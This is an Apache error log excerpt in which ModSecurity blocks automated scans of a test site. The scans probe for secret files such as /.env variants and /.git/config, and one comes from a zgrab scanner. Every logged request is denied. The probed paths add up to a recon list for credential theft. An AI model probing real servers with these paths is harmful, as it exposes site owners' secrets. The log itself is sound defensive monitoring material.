[Fri Sep 05 06:47:48.562105 2025] [:error] [pid 2491894] [client 23.180.120.244:60972] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLprdGWRJEx3XSdtOfPFzwAAAAU"]
[Fri Sep 05 06:47:48.562274 2025] [:error] [pid 2491894] [client 23.180.120.244:60972] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLprdGWRJEx3XSdtOfPFzwAAAAU"]
[Fri Sep 05 17:48:32.687089 2025] [:error] [pid 2491894] [client 195.178.110.161:60176] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLsGUGWRJEx3XSdtOfPGCwAAAAU"]
[Fri Sep 05 17:48:32.687373 2025] [:error] [pid 2491894] [client 195.178.110.161:60176] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLsGUGWRJEx3XSdtOfPGCwAAAAU"]
[Fri Sep 05 17:48:32.687523 2025] [:error] [pid 2491894] [client 195.178.110.161:60176] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLsGUGWRJEx3XSdtOfPGCwAAAAU"]
[Fri Sep 05 17:48:32.966834 2025] [:error] [pid 2491888] [client 195.178.110.161:60186] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLsGUJ_VBYeInBKbOsRkqwAAAAM"]
[Fri Sep 05 17:48:32.967102 2025] [:error] [pid 2491888] [client 195.178.110.161:60186] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLsGUJ_VBYeInBKbOsRkqwAAAAM"]
[Fri Sep 05 17:48:32.967275 2025] [:error] [pid 2491888] [client 195.178.110.161:60186] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLsGUJ_VBYeInBKbOsRkqwAAAAM"]
[Fri Sep 05 17:48:33.208850 2025] [:error] [pid 2501988] [client 195.178.110.161:60202] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLsGUXCWbn6btps2KXXdzAAAAA4"]
[Fri Sep 05 17:48:33.209136 2025] [:error] [pid 2501988] [client 195.178.110.161:60202] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLsGUXCWbn6btps2KXXdzAAAAA4"]
[Fri Sep 05 17:48:33.209302 2025] [:error] [pid 2501988] [client 195.178.110.161:60202] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLsGUXCWbn6btps2KXXdzAAAAA4"]
[Fri Sep 05 17:48:33.481029 2025] [:error] [pid 2501986] [client 195.178.110.161:60214] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLsGUU54j2BgB_UAtgrd6QAAAAw"]
[Fri Sep 05 17:48:33.481295 2025] [:error] [pid 2501986] [client 195.178.110.161:60214] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLsGUU54j2BgB_UAtgrd6QAAAAw"]
[Fri Sep 05 17:48:33.484074 2025] [:error] [pid 2501986] [client 195.178.110.161:60214] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLsGUU54j2BgB_UAtgrd6QAAAAw"]
[Fri Sep 05 17:48:33.722355 2025] [authz_core:error] [pid 2501992] [client 195.178.110.161:60220] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Fri Sep 05 17:48:33.960836 2025] [:error] [pid 2501985] [client 195.178.110.161:60222] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLsGUT800lkztB2qYDrLVQAAAAo"]
[Fri Sep 05 17:48:33.961082 2025] [:error] [pid 2501985] [client 195.178.110.161:60222] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLsGUT800lkztB2qYDrLVQAAAAo"]
[Fri Sep 05 17:48:33.961239 2025] [:error] [pid 2501985] [client 195.178.110.161:60222] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLsGUT800lkztB2qYDrLVQAAAAo"]
[Fri Sep 05 17:48:35.340697 2025] [:error] [pid 2491894] [client 195.178.110.161:60270] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLsGU2WRJEx3XSdtOfPGDAAAAAU"]
[Fri Sep 05 17:48:35.340952 2025] [:error] [pid 2491894] [client 195.178.110.161:60270] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLsGU2WRJEx3XSdtOfPGDAAAAAU"]
[Fri Sep 05 17:48:35.341110 2025] [:error] [pid 2491894] [client 195.178.110.161:60270] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLsGU2WRJEx3XSdtOfPGDAAAAAU"]
[Fri Sep 05 17:48:35.563671 2025] [:error] [pid 2491888] [client 195.178.110.161:60284] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLsGU5_VBYeInBKbOsRkrAAAAAM"]
[Fri Sep 05 17:48:35.563905 2025] [:error] [pid 2491888] [client 195.178.110.161:60284] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLsGU5_VBYeInBKbOsRkrAAAAAM"]
[Fri Sep 05 17:48:35.564063 2025] [:error] [pid 2491888] [client 195.178.110.161:60284] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLsGU5_VBYeInBKbOsRkrAAAAAM"]
[Fri Sep 05 17:48:45.851775 2025] [:error] [pid 2501988] [client 195.178.110.161:49682] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLsGXXCWbn6btps2KXXdzQAAAA4"]
[Fri Sep 05 17:48:45.852017 2025] [:error] [pid 2501988] [client 195.178.110.161:49682] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLsGXXCWbn6btps2KXXdzQAAAA4"]
[Fri Sep 05 17:48:45.852183 2025] [:error] [pid 2501988] [client 195.178.110.161:49682] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLsGXXCWbn6btps2KXXdzQAAAA4"]
[Sun Sep 07 15:07:50.908725 2025] [:error] [pid 2541668] [client 176.65.148.43:49384] [client 176.65.148.43] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aL2DpuKBbWqSCLxiEDzaZQAAAAI"]
[Sun Sep 07 15:07:50.912347 2025] [:error] [pid 2541668] [client 176.65.148.43:49384] [client 176.65.148.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aL2DpuKBbWqSCLxiEDzaZQAAAAI"]
[Sun Sep 07 15:07:50.912520 2025] [:error] [pid 2541668] [client 176.65.148.43:49384] [client 176.65.148.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aL2DpuKBbWqSCLxiEDzaZQAAAAI"]
[Sun Sep 07 22:04:05.492274 2025] [:error] [pid 2558735] [client 18.224.192.118:38611] [client 18.224.192.118] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aL3lNXO8WCoQXZ-CMQV7jAAAAAc"]
[Sun Sep 07 22:04:05.492722 2025] [:error] [pid 2558735] [client 18.224.192.118:38611] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aL3lNXO8WCoQXZ-CMQV7jAAAAAc"]
[Sun Sep 07 22:04:05.492892 2025] [:error] [pid 2558735] [client 18.224.192.118:38611] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aL3lNXO8WCoQXZ-CMQV7jAAAAAc"]
[Thu Sep 11 06:42:52.882324 2025] [:error] [pid 2641842] [client 176.65.148.43:48114] [client 176.65.148.43] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMJTTCuUPG8dh0hHFAIvWwAAAAU"]
[Thu Sep 11 06:42:52.883463 2025] [:error] [pid 2641842] [client 176.65.148.43:48114] [client 176.65.148.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMJTTCuUPG8dh0hHFAIvWwAAAAU"]
[Thu Sep 11 06:42:52.883617 2025] [:error] [pid 2641842] [client 176.65.148.43:48114] [client 176.65.148.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMJTTCuUPG8dh0hHFAIvWwAAAAU"]
[Sat Sep 13 00:17:06.928993 2025] [:error] [pid 2688439] [client 45.148.10.154:60000] [client 45.148.10.154] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb4qqfqa_gnxrS6fmVHwAAAAU"]
[Sat Sep 13 00:17:06.930793 2025] [:error] [pid 2688439] [client 45.148.10.154:60000] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb4qqfqa_gnxrS6fmVHwAAAAU"]
[Sat Sep 13 00:17:06.930967 2025] [:error] [pid 2688439] [client 45.148.10.154:60000] [client 45.148.10.154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb4qqfqa_gnxrS6fmVHwAAAAU"]
[Sat Sep 13 00:17:09.220298 2025] [authz_core:error] [pid 2688439] [client 142.93.129.190:45040] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Sep 13 00:17:09.753098 2025] [:error] [pid 2688426] [client 142.93.129.190:45074] [client 142.93.129.190] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aMSb5fEoZTy6Hpk-pXPL6wAAAAI"]
[Sat Sep 13 00:17:09.753354 2025] [:error] [pid 2688426] [client 142.93.129.190:45074] [client 142.93.129.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aMSb5fEoZTy6Hpk-pXPL6wAAAAI"]
